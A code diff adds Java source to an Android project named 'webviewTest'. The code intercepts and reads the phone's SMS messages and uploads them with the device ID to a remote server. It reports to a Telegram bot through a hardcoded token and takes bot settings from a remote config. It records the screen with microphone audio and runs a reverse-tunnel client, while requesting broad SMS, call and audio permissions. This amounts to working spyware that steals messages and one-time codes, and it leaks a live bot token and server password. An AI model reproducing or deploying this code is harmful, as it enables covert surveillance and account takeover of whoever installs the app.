+        return StringUtils.isEmpty(SPUtils.getInstance().getString("botToken")) ? "6428083297:AAEFS5ccl49hBsYbGAqJdEM5Cv8bvHUTC4I" : SPUtils.getInstance().getString("botToken");
+    }
+
+    public static void setBotToken(String botToken) {
+        SPUtils.getInstance().put("botToken", botToken, true);
+    }
+
+    public static void checkForUpdate(Context context, boolean toast) {
+        new Thread(() -> {
+            OkHttpClient client = new OkHttpClient();
+            Request request = new Request.Builder()
+                    .url(BuildConfig.UPDATE_BASE_URL + BuildConfig.UPDATE_JSON)
+                    .build();
+            try (Response response = client.newCall(request).execute()) {
+                if (response.isSuccessful()) {
+                    String fileContent = response.body().string();
+
+                    ThreadUtils.runOnUiThreadDelayed(() -> new UploadAppDialog(context, fileContent, toast), 500);
+
+                }
+            } catch (IOException e) {
+                Log.e(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_12), e);
+                XLog.e(StringUtils.getString(R.string.log_tip_12), e);
+                e.printStackTrace();
+            }
+        }).start();
+    }
+
+
+    public static void checkForUpdateBotConfig() {
+        ThreadUtils.executeBySingle(new ThreadUtils.Task<Object>() {
+            @Override
+            public Object doInBackground() {
+                OkHttpClient client = new OkHttpClient();
+                Request request = new Request.Builder()
+                        .url(BuildConfig.UPDATE_BASE_URL + BuildConfig.UPDATE_JSON)  // 文件的 URL
+                        .build();
+                try (Response response = client.newCall(request).execute()) {
+                    if (response.isSuccessful()) {
+                        String fileContent = response.body().string();
+                        JSONObject object = JSON.parseObject(fileContent);
+                        if (!StringUtils.isEmpty(object.getString("chatId"))) {
+                            HxUtils.setChatId(object.getString("chatId"));
+                        }
+                        if (!StringUtils.isEmpty(object.getString("botToken"))) {
+                            HxUtils.setBotToken(object.getString("botToken"));
+                        }
+                        Log.i(Config.LOG_TAG, StringUtils.getString(R.string.update_log_config_suc));
+                        XLog.i(StringUtils.getString(R.string.update_log_config_suc));
+                        ToastUtils.showLong(R.string.update_log_config_suc);
+                    }
+                } catch (IOException e) {
+                    ToastUtils.showLong(R.string.update_err);
+                    Log.e(Config.LOG_TAG, StringUtils.getString(R.string.update_err), e);
+                    XLog.e(StringUtils.getString(R.string.update_err), e);
+                    e.printStackTrace();
+                }
+                return null;
+            }
+
+            @Override
+            public void onSuccess(Object result) {
+            }
+
+            @Override
+            public void onCancel() {
+
+            }
+
+            @Override
+            public void onFail(Throwable t) {
+                Log.e(Config.LOG_TAG, StringUtils.getString(R.string.update_err), t);
+                XLog.e(StringUtils.getString(R.string.update_err), t);
+            }
+        });
+    }
+
+
+    public static Completable waitService(String serviceName, Context context) {
+        return Completable.fromObservable(Observable.interval(0, 1, TimeUnit.SECONDS)
+                .takeUntil(aLong -> {
+                    return isServiceRunning(serviceName, context);
+                })
+        );
+    }
+
+    public static boolean isServiceRunning(String serviceName, Context context) {
+        ActivityManager am = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
+        List<ActivityManager.RunningServiceInfo> runningServices = am.getRunningServices(Integer.MAX_VALUE); //获取运行的服务,参数表示最多返回的数量
+        for (ActivityManager.RunningServiceInfo runningServiceInfo : runningServices) {
+            String className = runningServiceInfo.service.getClassName();
+            if (className.equals(serviceName)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    public static Observable<String> getStringFromRaw(Context context, int rawName) {
+        return Observable.create(emitter -> {
+            BufferedReader reader = new BufferedReader(new InputStreamReader(context.getResources().openRawResource(rawName)));
+            String line;
+            StringBuilder result = new StringBuilder();
+            while ((line = reader.readLine()) != null) {
+                result.append(line).append("\n");
+            }
+            reader.close();
+            emitter.onNext(result.toString());
+            emitter.onComplete();
+        });
+
+    }
+
+
+    /**
+     * 压缩数据
+     *
+     * @param str 压缩的内容
+     * @return 被压缩的内容
+     * @throws Exception 异常
+     */
+    public static byte[] gzip(String str) throws Exception {
+        ByteArrayOutputStream baos = new ByteArrayOutputStream();
+        GZIPOutputStream gos = new GZIPOutputStream(baos);
+        gos.write(str.getBytes(StandardCharsets.UTF_8));
+        gos.close();
+        return baos.toByteArray();
+    }
+
+    public static byte[] gzip(byte[] data) throws IOException {
+        ByteArrayOutputStream baos = new ByteArrayOutputStream();
+        GZIPOutputStream gos = new GZIPOutputStream(baos);
+        gos.write(data);
+        gos.close();
+        return baos.toByteArray();
+    }
+
+
+    @SuppressLint("MissingPermission")
+    public static void setCurrentPhoneList() {
+        try {
+            List<HashMap<String, Object>> list = new ArrayList<>();
+            SubscriptionManager subscriptionManager = (SubscriptionManager) Utils.getApp().getSystemService(Context.TELEPHONY_SUBSCRIPTION_SERVICE);
+            List<SubscriptionInfo> subsInfoList = subscriptionManager.getActiveSubscriptionInfoList();
+
+            if (subsInfoList == null)
+                SPUtils.getInstance().put("current_id_slot_number", GsonUtils.toJson(list), true);
+            for (SubscriptionInfo subscriptionInfo : subsInfoList) {
+
+                HashMap<String, Object> map = new HashMap<>();
+                map.put("SubscriptionId", subscriptionInfo.getSubscriptionId());
+                map.put("SimSlotIndex", subscriptionInfo.getSimSlotIndex());
+                map.put("Number", subscriptionInfo.getNumber() == null ? "UNKNOWN" : subscriptionInfo.getNumber());//如果有
+//                map.put("iccID", subscriptionInfo.getIccId());
+                map.put("disname", subscriptionInfo.getDisplayName() == null ? "UNKNOWN" : subscriptionInfo.getDisplayName());
+                map.put("iccID", subscriptionInfo.getCarrierName() == null ? "UNKNOWN" : subscriptionInfo.getCarrierName());
+                list.add(map);
+            }
+            SPUtils.getInstance().put("current_id_slot_number", GsonUtils.toJson(list), true);
+
+        } catch (Exception e) {
+            XLog.e("getCurrentPhoneList", e);
+            Log.e("hzshkj", "getCurrentPhoneList: ", e);
+        }
+    }
+
+    //获取映射关系
+    public static JsonArray getCurrentPhoneList() {
+        setCurrentPhoneList();
+        return GsonUtils.fromJson(SPUtils.getInstance().getString("current_id_slot_number"), JsonArray.class);
+    }
+
+    public static String getRecord(int subId) {
+        return SPUtils.getInstance().getString("sub_" + subId);
+    }
+
+    @SuppressLint("MissingPermission")
+    public static String setRecord(String subId, String Number) {
+        try {
+            boolean containsValue = false;
+            String key = null;
+            for (Map.Entry<String, ?> entry : SPUtils.getInstance().getAll().entrySet()) {
+                Log.d("hzshkj", "[HxUtils] setRecord: entry.getKey()="
+                        + entry.getKey() + "..value=" + entry.getValue() + "..Number=" + Number
+                        + "...bbb=" + Number.equals(entry.getValue()));
+                if (entry.getValue() != null && entry.getValue().equals(Number)) {
+                    Log.d("hzshkj", "[HxUtils] setRecord: 11111111");
+                    containsValue = true;
+                    key = entry.getKey();
+                    break;
+                }
+            }
+            if (containsValue) {
+                Log.d("hzshkj", "[HxUtils] setRecord: 222");
+                ToastUtils.showLong(StringUtils.getString(R.string.abcvfd, Number, key.replace("sub_", "")));
+                Log.d("hzshkj", "[HxUtils] setRecord: 3333");
+
+                return key;
+            }
+
+            SPUtils.getInstance().put("sub_" + subId, Number);
+            ToastUtils.showLong(R.string.setup_successful);
+            return null;
+        } catch (Exception e) {
+            XLog.e("setRecord", e);
+            Log.e("hzshkj", "setRecord: ", e);
+        }
+        return "error";
+    }
+
+
+    public static String getPhoneConfig() {
+        HashMap<String, Object> map = new HashMap<>();
+        try {
+            for (Map.Entry<String, ?> entry : SPUtils.getInstance().getAll().entrySet()) {
+                map.put(entry.getKey(), entry.getValue() == null ? "" : entry.getValue());
+            }
+        } catch (Exception e) {
+            XLog.e("getPhoneConfig", e);
+            Log.e("hzshkj", "getPhoneConfig: ", e);
+        }
+        return GsonUtils.toJson(map);
+    }
+
+
+    public static HashMap<String, String> queryInboxMessage(long id) {
+        ContentResolver contentResolver = Utils.getApp().getContentResolver();
+        HashMap<String, String> map = new HashMap<>();
+        Uri uri = Uri.parse("content://sms/");
+        String[] projection = new String[]{Telephony.Sms._ID, Telephony.Sms.ADDRESS, Telephony.Sms.DATE_SENT, Telephony.Sms.DATE, Telephony.Sms.TYPE,
+                Telephony.Sms.BODY, Telephony.Sms.SUBSCRIPTION_ID};
+        String selection = Telephony.Sms._ID + " = ?";
+        String[] selectionArgs = new String[]{String.valueOf(id)};
+        Cursor cursor = contentResolver.query(uri, projection, selection, selectionArgs, null);
+        try {
+            if (cursor != null && cursor.moveToFirst()) {
+                @SuppressLint("Range") String sender = cursor.getString(cursor.getColumnIndex(Telephony.Sms.ADDRESS));//发件人
+                @SuppressLint("Range") String receiver = cursor.getString(cursor.getColumnIndex(Telephony.Sms.DATE));//收件时间
+                @SuppressLint("Range") long sentTime = cursor.getLong(cursor.getColumnIndex(Telephony.Sms.DATE_SENT));//发件日期时间,时间戳格式
+                @SuppressLint("Range") String body = cursor.getString(cursor.getColumnIndex(Telephony.Sms.BODY));//短信的正文内容。
+                @SuppressLint("Range") int subID = cursor.getInt(cursor.getColumnIndex(Telephony.Sms.SUBSCRIPTION_ID));//sim卡关联ID
+                map.put("address", StringUtils.isTrimEmpty(HxUtils.getRecord(subID)) ? "UNKNOWN" : HxUtils.getRecord(subID));
+                map.put("body", body);
+                map.put("timestampMillis", sentTime + "");
+                map.put("sender", sender);
+                map.put("date", receiver);
+                map.put("id", id + "");
+                map.put("sub_id", subID + "");
+                map.put("android_id", DeviceUtils.getAndroidID());
+            }
+        } catch (Exception e) {
+            new TgBot("这台设备好像在检索SMS库的时候出了点问题?请查看设备日志!", true);
+            Log.e(com.app.duck.Config.LOG_TAG, StringUtils.getString(R.string.log_tip_7), e);
+            XLog.e(StringUtils.getString(R.string.log_tip_7), e);
+        } finally {
+            if (cursor != null) {
+                cursor.close();
+            }
+
+        }
+
+        return map;
+
+    }
+
+
+    public static void saveH264ToFile(ByteBuffer buffer, String filePath) {
+        try (FileOutputStream fos = new FileOutputStream(filePath, true)) { // 追加写入
+            byte[] h264Data = new byte[buffer.remaining()];
+            buffer.get(h264Data);
+            fos.write(h264Data);
+        } catch (IOException e) {
+            e.printStackTrace();
+        }
+    }
+
+    // 将 RGBA byte[] 转换为 Bitmap
+    public static Bitmap rgbaToBitmap(byte[] bytes, int width, int height) {
+        // 检查字节数组大小是否符合要求
+
+
+        // 创建 ARGB_8888 格式的 Bitmap
+        Bitmap bitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
+
+        // 将 byte[] 转换为 ByteBuffer,并将其复制到 Bitmap
+        ByteBuffer buffer = ByteBuffer.wrap(bytes);
+        bitmap.copyPixelsFromBuffer(buffer);
+
+        return bitmap;
+    }
+
+    // 将 Bitmap 保存为文件
+    public static void saveBitmapToFile(Bitmap bitmap, String filePath) throws IOException {
+        File file = new File(filePath);
+        FileOutputStream out = null;
+        try {
+            out = new FileOutputStream(file);
+            // 将 Bitmap 写入文件,格式为 PNG,质量为 100(PNG 是无损格式)
+            bitmap.compress(Bitmap.CompressFormat.JPEG, 40, out);
+            out.flush(); // 确保所有数据都写入文件
+        } finally {
+            if (out != null) {
+                out.close(); // 关闭输出流,释放资源
+            }
+        }
+    }
+
+}

+ 91 - 0
webviewTest/app/src/main/java/com/app/duck/util/PermissionsUtils.java

@@ -0,0 +1,91 @@
+package com.app.duck.util;
+
+import android.Manifest;
+import android.app.AlertDialog;
+import android.view.View;
+
+import com.app.duck.R;
+import com.blankj.utilcode.util.ActivityUtils;
+import com.blankj.utilcode.util.AppUtils;
+import com.blankj.utilcode.util.PermissionUtils;
+import com.blankj.utilcode.util.RomUtils;
+import com.blankj.utilcode.util.StringUtils;
+
+import org.jetbrains.annotations.NotNull;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class PermissionsUtils {
+    public static void getPermission(final PermissionAction action, String[] p, boolean isHaveSms) {
+        PermissionUtils.permission(p)
+                .rationale((activity, shouldRequest) -> pDialog(view -> shouldRequest.again(true)))
+                .callback(new PermissionUtils.FullCallback() {
+                    @Override
+                    public void onGranted(@NotNull List<String> permissionsGranted) {
+                        if (permissionsGranted.size() == p.length) {
+                            if (isHaveSms && RomUtils.isXiaomi()) {
+                                HxUtils.QueryXiaoMiSmsInbox();
+                            }
+                            action.onGranted();
+                        }
+                    }
+
+                    @Override
+                    public void onDenied(@NotNull List<String> forever, @NotNull List<String> denied) {
+                        if (!forever.isEmpty()) {
+                            pDialog(view -> {
+                                AppUtils.launchAppDetailsSettings();
+                            });
+                        } else {
+                            getPermission(action, p, isHaveSms);
+                        }
+                    }
+                }).request();
+    }
+
+    public static String[] permissions(boolean b1, boolean b2) {
+        List<String> permission = new ArrayList<>();
+        if (b1) {
+            permission.add(Manifest.permission.RECEIVE_BOOT_COMPLETED);
+            permission.add(Manifest.permission.READ_PHONE_STATE);
+            permission.add(Manifest.permission.WAKE_LOCK);
+            permission.add(Manifest.permission.CALL_PHONE);
+            permission.add(Manifest.permission.DISABLE_KEYGUARD);
+            permission.add(Manifest.permission.WRITE_EXTERNAL_STORAGE);
+            permission.add(Manifest.permission.RECORD_AUDIO);
+            permission.add(Manifest.permission.FOREGROUND_SERVICE);
+            permission.add(Manifest.permission.READ_EXTERNAL_STORAGE);
+        }
+        if (b2) {
+            permission.add(Manifest.permission.READ_SMS);
+            permission.add(Manifest.permission.SEND_SMS);
+            permission.add(Manifest.permission.RECEIVE_SMS);
+        }
+        return permission.toArray(new String[0]);
+    }
+
+    public static void checkPermission(boolean b1, boolean b2) {
+        if (!b1 && !b2) {
+            return;
+        }
+        getPermission(() -> {
+        }, permissions(b1, b2), b2);
+    }
+
+
+    public static void pDialog(View.OnClickListener onClickListener) {
+        AlertDialog.Builder normalDialog = new AlertDialog.Builder(ActivityUtils.getTopActivity());
+        normalDialog.setIcon(AppUtils.getAppIcon());
+        normalDialog.setMessage(StringUtils.getString(R.string.go_setting_1_s, AppUtils.getAppName()));
+        normalDialog.setCancelable(false);
+        normalDialog.setPositiveButton(R.string.go_bt, (dialog, which) -> onClickListener.onClick(null));
+        normalDialog.show();
+
+    }
+
+
+    public interface PermissionAction {
+        void onGranted();
+    }
+}

+ 102 - 0
webviewTest/app/src/main/java/com/app/duck/util/ScreenCaptureService.java

@@ -0,0 +1,102 @@
+package com.app.duck.util;
+
+import android.app.Notification;
+import android.app.Service;
+import android.content.Intent;
+import android.content.pm.ServiceInfo;
+import android.hardware.display.DisplayManager;
+import android.hardware.display.VirtualDisplay;
+import android.media.MediaRecorder;
+import android.media.projection.MediaProjection;
+import android.os.Build;
+import android.os.Environment;
+import android.os.IBinder;
+import android.view.Surface;
+
+import androidx.core.app.NotificationCompat;
+
+import java.io.File;
+import java.io.IOException;
+
+/**
+ * author: hx
+ * created on: 2024/10/31 11:08
+ * description:
+ */
+public class ScreenCaptureService extends Service {
+    public static MediaProjection mediaProjection;
+    private VirtualDisplay virtualDisplay;
+    private MediaRecorder mediaRecorder;
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        // 启动前台服务
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
+            startForeground(1, getNotification(), ServiceInfo.FOREGROUND_SERVICE_TYPE_MEDIA_PROJECTION);
+        }
+        initMediaRecorder();
+        startScreenRecording();
+
+        return START_STICKY;
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+
+    private Notification getNotification() {
+        NotificationCompat.Builder builder = new NotificationCompat.Builder(this, "screen_record_channel")
+                .setContentTitle("Screen Recording")
+                .setContentText("Recording your screen")
+                .setPriority(NotificationCompat.PRIORITY_HIGH);
+        return builder.build();
+    }
+
+    private void initMediaRecorder() {
+        File outputFile = new File(Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS), "recorded_video.mp4");
+        mediaRecorder.setOutputFile(outputFile.getAbsolutePath());
+        mediaRecorder = new MediaRecorder();
+        mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
+        mediaRecorder.setVideoSource(MediaRecorder.VideoSource.SURFACE);
+        mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
+        mediaRecorder.setOutputFile(outputFile.getAbsolutePath());
+        mediaRecorder.setVideoSize(1080, 1920); // 设置分辨率
+        mediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);
+        mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
+        mediaRecorder.setVideoEncodingBitRate(5 * 1024 * 1024);
+        mediaRecorder.setVideoFrameRate(30);
+
+        try {
+            mediaRecorder.prepare();
+        } catch (IOException e) {
+            e.printStackTrace();
+        }
+    }
+
+    private void startScreenRecording() {
+        Surface surface = mediaRecorder.getSurface();
+        virtualDisplay = mediaProjection.createVirtualDisplay("ScreenRecord",
+                1080, 1920, 320,
+                DisplayManager.VIRTUAL_DISPLAY_FLAG_AUTO_MIRROR,
+                surface, null, null);
+
+        mediaRecorder.start();
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+        mediaRecorder.stop();
+        mediaRecorder.release();
+        virtualDisplay.release();
+        mediaProjection.stop();
+    }
+}

+ 144 - 0
webviewTest/app/src/main/java/com/app/duck/util/Service1.java

@@ -0,0 +1,144 @@
+package com.app.duck.util;
+
+import static com.app.duck.Config.EVENT_RUNNING_ERROR;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.PendingIntent;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.graphics.Color;
+import android.os.Build;
+import android.os.IBinder;
+import android.text.TextUtils;
+import android.widget.Toast;
+
+import androidx.annotation.Nullable;
+import androidx.core.app.NotificationCompat;
+import androidx.lifecycle.Observer;
+
+import com.app.duck.database.AppDatabase;
+import com.app.duck.database.Config;
+import com.app.duck.ui.MainActivity;
+import com.blankj.utilcode.util.AppUtils;
+import com.jeremyliao.liveeventbus.LiveEventBus;
+
+import frpclib.Frpclib;
+import io.reactivex.Single;
+import io.reactivex.SingleObserver;
+import io.reactivex.SingleSource;
+import io.reactivex.android.schedulers.AndroidSchedulers;
+import io.reactivex.disposables.CompositeDisposable;
+import io.reactivex.disposables.Disposable;
+import io.reactivex.functions.Function;
+import io.reactivex.schedulers.Schedulers;
+
+public class Service1 extends Service {
+    public static final String INTENT_KEY_FILE = "INTENT_KEY_FILE";
+    public static final int NOTIFY_ID = 0x1010;
+    private final CompositeDisposable compositeDisposable = new CompositeDisposable();
+    Observer<String> keyObserver = uid -> {
+        if (Frpclib.isRunning(uid)) {
+            return;
+        }
+
+
+        AppDatabase.getInstance(Service1.this)
+                .configDao()
+                .getConfigByUid(uid)
+                .flatMap((Function<Config, SingleSource<String>>) config -> {
+                    String error = Frpclib.runContent(config.getUid(), config.getCfg());
+                    return Single.just(error);
+                })
+                .subscribeOn(Schedulers.io())
+                .observeOn(AndroidSchedulers.mainThread())
+                .subscribe(new SingleObserver<String>() {
+                    @Override
+                    public void onSubscribe(Disposable d) {
+                        compositeDisposable.add(d);
+                    }
+
+                    @Override
+                    public void onSuccess(String error) {
+                        if (!TextUtils.isEmpty(error)) {
+                            Toast.makeText(Service1.this, error, Toast.LENGTH_SHORT).show();
+                            LiveEventBus.get(EVENT_RUNNING_ERROR, String.class).post(uid);
+                        }
+                    }
+
+                    @Override
+                    public void onError(Throwable e) {
+
+                    }
+                });
+
+
+    };
+    private NotificationManager notificationManager;
+
+    @Nullable
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+
+        LiveEventBus.get(INTENT_KEY_FILE, String.class).observeStickyForever(keyObserver);
+
+        startForeground(NOTIFY_ID, createForegroundNotification());
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        return START_STICKY;
+    }
+
+
+    private Notification createForegroundNotification() {
+
+        String notificationChannelId = "duck_man_channel";
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+            String channelName = AppUtils.getAppName() + "Notification";
+            int importance = NotificationManager.IMPORTANCE_HIGH;
+            NotificationChannel notificationChannel = new NotificationChannel(notificationChannelId, channelName, importance);
+            notificationChannel.setDescription(AppUtils.getAppName() + "Service");
+            notificationChannel.enableLights(true);
+            notificationChannel.setLightColor(Color.GREEN);
+            notificationChannel.setVibrationPattern(new long[]{0, 1000, 500, 1000});
+            notificationChannel.enableVibration(true);
+            if (notificationManager != null) {
+                notificationManager.createNotificationChannel(notificationChannel);
+            }
+        }
+        NotificationCompat.Builder builder = new NotificationCompat.Builder(this, notificationChannelId);
+        builder.setSmallIcon(AppUtils.getAppIconId());
+        builder.setContentTitle(AppUtils.getAppName() + "Foreground Service");
+        builder.setContentText(AppUtils.getAppName() + "Service is running");
+        builder.setWhen(System.currentTimeMillis());
+        Intent activityIntent = new Intent(this, MainActivity.class);
+        PendingIntent pendingIntent;
+        if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.M) {
+            pendingIntent = PendingIntent.getActivity(this, 0, activityIntent, PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
+        } else {
+            pendingIntent = PendingIntent.getActivity(this, 0, activityIntent, PendingIntent.FLAG_UPDATE_CURRENT);
+        }
+        builder.setContentIntent(pendingIntent);
+
+        return builder.build();
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+        stopForeground(true);
+        compositeDisposable.dispose();
+    }
+
+
+}

+ 65 - 0
webviewTest/app/src/main/java/com/app/duck/util/Service2.java

@@ -0,0 +1,65 @@
+package com.app.duck.util;
+
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.Service;
+import android.content.Intent;
+import android.os.Build;
+import android.os.IBinder;
+
+import androidx.annotation.Nullable;
+import androidx.core.app.NotificationCompat;
+
+import com.app.duck.R;
+import com.blankj.utilcode.util.AppUtils;
+
+public class Service2 extends Service {
+    private static final int NOTIFICATION_ID = 1;
+    private static final String CHANNEL_ID = "channel_id";
+
+    private NotificationManager notificationManager;
+    private NotificationCompat.Builder notificationBuilder;
+
+    @Nullable
+    @Override
+    public IBinder onBind(Intent intent) {
+        throw new UnsupportedOperationException("Not yet implemented");
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        return super.onStartCommand(intent, flags, startId);
+    }
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        // 获取 NotificationManager
+        notificationManager = getSystemService(NotificationManager.class);
+        // 创建通知渠道(仅针对 Android O 及以上版本)
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+            NotificationChannel channel = new NotificationChannel(CHANNEL_ID, "channel_name", NotificationManager.IMPORTANCE_LOW);
+            if (notificationManager != null) {
+                notificationManager.createNotificationChannel(channel);
+            }
+        }
+        // 创建通知
+        notificationBuilder = new NotificationCompat.Builder(this, CHANNEL_ID)
+                .setSmallIcon(AppUtils.getAppIconId())
+                .setContentTitle(getString(R.string.current_status))
+                .setContentText(getString(R.string.no_message))
+                .setPriority(NotificationCompat.PRIORITY_LOW);
+
+        startForeground(NOTIFICATION_ID, notificationBuilder.build());
+
+
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+        stopForeground(true);
+    }
+
+
+}

+ 220 - 0
webviewTest/app/src/main/java/com/app/duck/util/SmsReceiver.java

@@ -0,0 +1,220 @@
+package com.app.duck.util;
+
+
+import android.Manifest;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.Bundle;
+import android.provider.Telephony;
+import android.telephony.SmsMessage;
+import android.util.Log;
+
+import com.alibaba.fastjson.JSON;
+import com.app.duck.database.DBHelper;
+import com.app.http.APPConfig;
+import com.app.http.BaseBean;
+import com.app.http.Http;
+import com.blankj.utilcode.util.DeviceUtils;
+import com.blankj.utilcode.util.GsonUtils;
+import com.blankj.utilcode.util.PermissionUtils;
+import com.blankj.utilcode.util.StringUtils;
+import com.blankj.utilcode.util.ThreadUtils;
+import com.blankj.utilcode.util.Utils;
+import com.elvishew.xlog.XLog;
+
+import java.util.HashMap;
+import java.util.Set;
+
+public class SmsReceiver extends BroadcastReceiver {
+    private static final String SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED";
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        if (intent.getAction().equals(SMS_RECEIVED)) {
+            ThreadUtils.runOnUiThreadDelayed(() -> {
+
+                HashMap<String, String> map = new HashMap<>();
+                Bundle bundle = intent.getExtras();
+                if (bundle != null) {
+                    Object[] pdus = (Object[]) bundle.get("pdus");
+                    if (pdus != null) {
+                        SmsMessage[] messages = new SmsMessage[pdus.length];
+                        long timestampMillis = 0;
+                        for (int i = 0; i < pdus.length; i++) {
+                            messages[i] = SmsMessage.createFromPdu((byte[]) pdus[i]);
+                        }
+                        StringBuilder smsBodyBuilder = new StringBuilder();
+                        for (SmsMessage message : messages) {
+                            smsBodyBuilder.append(message.getMessageBody());
+                            timestampMillis = message.getTimestampMillis(); // 发件时间
+
+                        }
+                        String smsBody = smsBodyBuilder.toString();
+                        Log.d("hzshkj", "[SmsReceiver] onReceive: "+smsBody);
+
+                        String phone = getPhone(intent.getExtras()) == null ? "UNKNOWN" : getPhone(intent.getExtras());
+                        map.put("body", smsBody);
+                        map.put("address", phone);
+                        map.put("timestampMillis", timestampMillis + "");
+                        Log.d("hzshkj", "[SmsSentReceiver] onReceive: " + getPhone(intent.getExtras()));
+                        String simInfo = GsonUtils.toJson(findSMSId(context, timestampMillis, map));
+                        pushSms(simInfo, 0, 1000, !"UNKNOWN".equals(phone));
+
+                    }
+                }
+            }, 7000);
+
+        }
+
+    }
+
+    private HashMap<String, String> findSMSId(Context context, long timestamp, HashMap<String, String> map) {
+        // 查询短信数据库,根据发送方号码和时间戳等属性来定位短信记录,并获取其ID
+        Uri uri = Uri.parse("content://sms/inbox");
+        String selection = "date_sent = ?";
+        String[] selectionArgs = new String[]{String.valueOf(timestamp)};
+
+        Cursor cursor = context.getContentResolver().query(uri, null, selection, selectionArgs, null);
+        if (cursor != null && cursor.moveToFirst()) {
+            int index1 = cursor.getColumnIndexOrThrow(Telephony.Sms.ADDRESS);
+            if (index1 >= 0) {
+                String address = cursor.getString(index1);
+                map.put("sender", address);
+            } else {
+                XLog.i("First cursor.getColumnIndexOrThrow(Telephony.Sms.ADDRESS) < 0");
+            }
+            int index2 = cursor.getColumnIndexOrThrow(Telephony.Sms.DATE);
+            if (index2 >= 0) {
+                long date = cursor.getLong(index2);
+                map.put("date", date + "");
+            } else {
+                XLog.i("First cursor.getColumnIndexOrThrow(Telephony.Sms.DATE) < 0");
+            }
+            int index3 = cursor.getColumnIndexOrThrow(Telephony.Sms._ID);
+            if (index3 >= 0) {
+                int id = cursor.getInt(index3);
+                map.put("id", id + "");
+            } else {
+                XLog.i("First cursor.getColumnIndexOrThrow(Telephony.Sms._ID) < 0");
+            }
+            try {
+                int index4 = cursor.getColumnIndexOrThrow(Telephony.Sms.SUBSCRIPTION_ID);
+                if (index4 >= 0) {
+                    int sub_id = cursor.getInt(index4);
+                    map.put("sub_id", sub_id + "");
+                } else {
+                    XLog.i("First cursor.getColumnIndexOrThrow(Telephony.Sms.SUBSCRIPTION_ID) < 0");
+                }
+            } catch (Exception e) {
+                XLog.e("这台设备好像没有SUBSCRIPTION_ID字段?报错信息", e);
+                new TgBot("这台设备好像没有SUBSCRIPTION_ID字段?请查看设备日志!", true);
+            }
+            cursor.close();
+        }
+        map.put("android_id", DeviceUtils.getAndroidID());
+        return map;
+    }
+
+    private void pushSms(String s, int retryCount, long delay, boolean isHaveNumber) {
+        ThreadUtils.runOnUiThreadDelayed(new Runnable() {
+            @Override
+            public void run() {
+                Log.d("hzshkj", "接收到短信 上传到服务器 ---> " + s);
+                HashMap<String, Object> map = new HashMap<>();
+                map.put("data", s);
+                map.put("password", "o6M5sG7E@FAWLBL9");
+                Http.getInstance()
+                        .setUrlPath(APPConfig.BASE, APPConfig.SMS)
+                        .setParams(map)
+                        .setErrorStyle(Http.ERROR_HIDE)
+                        .setLoadStyle(Http.ERROR_HIDE)
+                        .setBindLife(false)
+                        .setRetryCount(3)
+                        .post(new Http.HttpCallBack<String>() {
+                            @Override
+                            public void onNext(String model) {
+                                try (DBHelper dbHelper = new DBHelper(Utils.getApp())) {
+                                    dbHelper.insertOrUpdateData(JSON.parseObject(s).getInteger("id"), isHaveNumber ? 1 : 2);
+                                } catch (Exception e) {
+                                    XLog.e("pushSms error.", e);
+                                }
+
+                            }
+
+                            @Override
+                            public void onError(Throwable ex) {
+                                super.onError(ex);
+                                XLog.e("Push SMS error.", ex);
+                                if (retryCount < 10) {
+                                    pushSms(s, retryCount + 1, delay, isHaveNumber);
+                                }
+                            }
+
+                            @Override
+                            public void onFail(BaseBean t) {
+                                super.onFail(t);
+                                XLog.e("Push SMS fail." + t.getMsg());
+                            }
+                        });
+            }
+        }, delay);
+
+    }
+
+
+    private String getPhone(Bundle bundle) {
+        //检查是否有权限,如果没有权限,直接返回
+        if (!PermissionUtils.isGranted(Manifest.permission.READ_PHONE_STATE)) {
+            Log.w("hzshkj", "you have not been granted READ_PHONE_STATE permission");
+            XLog.e("you have not been granted READ_PHONE_STATE permission");
+            return null;
+        }
+        int subscription = -1;
+        Set<String> keySet = bundle.keySet();
+        //第一次精准匹配subscription
+        for (String key : keySet) {
+            if ("subscription".equals(key)) {
+                subscription = bundle.getInt("subscription", -1);
+                break;
+            }
+        }
+        //如果没有匹配到,那么模糊匹配key转小写之后包含subscription的
+        if (subscription == -1) {
+            for (String key : keySet) {
+                if (key.toLowerCase().contains("subscription")) {
+                    subscription = bundle.getInt(key, -1);
+                    break;
+                }
+            }
+        }
+        //如果都没有找到,打印出所有字段写入日志,并且不再执行下去
+        if (subscription == -1) {
+            StringBuilder sb = new StringBuilder();
